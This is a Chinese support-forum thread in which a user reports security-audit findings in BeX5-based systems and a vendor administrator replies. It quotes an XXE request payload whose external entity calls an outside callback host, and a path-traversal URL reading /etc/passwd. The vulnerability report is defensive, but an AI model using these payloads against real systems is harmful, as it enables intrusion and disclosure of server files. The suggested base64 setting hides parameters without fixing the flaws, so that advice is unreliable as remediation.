起步软件技术论坛
搜索
 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 4528|回复: 4

[处理中5] BeX5的安全性问题

[复制链接]

42

主题

170

帖子

426

积分

中级会员

Rank: 3Rank: 3

积分
426
QQ
发表于 2018-1-15 16:03:46 | 显示全部楼层 |阅读模式
近期 公司安全部门对所有涉外的系统都做了一次安全检查
发现采用BEX5开发的系统存在以下安全问题,麻烦起步看看  能给个解决的方案,谢谢

1.bizData在保存数据的时候 存在sql注入漏洞

2.XXE漏洞(外部xml实体注入),比如请求地址和参数如下:
请求地址:
http://xx.com/BusinessServer/bus ... tivity=mainActivity
参数:
{"contentType":"application/json","accept":"application/json","process":"/SA/doc/docSearch/docSearchProcess"
,"activity":"mainActivity","actionFlag":"__action_0__","executor":"","executeContext":"","action":"queryDocSearch"
,"parameters":{"param":{"@type":"xml","xml":"<!DOCTYPE netspi [<!ENTITY xxe SYSTEM \"http://oa.dvjfeh.ceye.io\" >]><data><operate>&xxe;</operate></data>"}},"translateParameter":null}

以上参数全是明文

3.任意文件读取漏洞,比如:
baas/justep/attachment/simpleFileStore?storeFileName=../../../../../../../../etc/passwd&ownerID=C48D1173350040F5AB993D928D2CE924&realFileName=&operateType=download

总结下,很多请求,不管get/post,都会将明文作为参数来传递
不知道X5是否提供了自动参数加解密的功能
如果没有,该如何解决该问题

91

主题

13万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
35938
发表于 2018-1-15 16:27:52 | 显示全部楼层
1.具体什么的sql注入?
2.把\runtime\UIServer\WEB-INF\justep.xml中
<request-use-base64>false</request-use-base64>
设置为
<request-use-base64>true</request-use-base64>
远程的联系方法QQ1392416607,添加好友时,需在备注里注明其论坛名字及ID,公司等信息
发远程时同时也发一下帖子地址,方便了解要解决的问题  WeX5教程  WeX5下载



如按照该方法解决,请及时跟帖,便于版主结贴
回复 支持 反对

使用道具 举报

42

主题

170

帖子

426

积分

中级会员

Rank: 3Rank: 3

积分
426
QQ
 楼主| 发表于 2018-1-29 16:14:48 | 显示全部楼层
jishuang 发表于 2018-1-15 16:27
1.具体什么的sql注入?
2.把\runtime\UIServer\WEB-INF\justep.xml中
false

有如下几个问题  我都截图了  麻烦看下 谢谢
5.1.1.jpg
5.1.2.1.jpg
5.1.2.2.jpg
5.1.3.jpg
5.3.1.jpg
5.3.2.jpg
回复 支持 反对

使用道具 举报

42

主题

170

帖子

426

积分

中级会员

Rank: 3Rank: 3

积分
426
QQ
 楼主| 发表于 2018-1-29 16:15:47 | 显示全部楼层
jishuang 发表于 2018-1-15 16:27
1.具体什么的sql注入?
2.把\runtime\UIServer\WEB-INF\justep.xml中
false

这些安全漏洞问题 貌似都和Business Server有关
回复 支持 反对

使用道具 举报

91

主题

13万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
35938
发表于 2018-1-29 17:12:40 | 显示全部楼层
第一个aciton是自己的,具体怎么定义的?
第二个已经提交内部产品组(内部编号:2018012900043)
远程的联系方法QQ1392416607,添加好友时,需在备注里注明其论坛名字及ID,公司等信息
发远程时同时也发一下帖子地址,方便了解要解决的问题  WeX5教程  WeX5下载



如按照该方法解决,请及时跟帖,便于版主结贴
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|X3技术论坛|Justep Inc.    

GMT+8, 2024-5-13 09:38 , Processed in 0.069714 second(s), 26 queries .

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表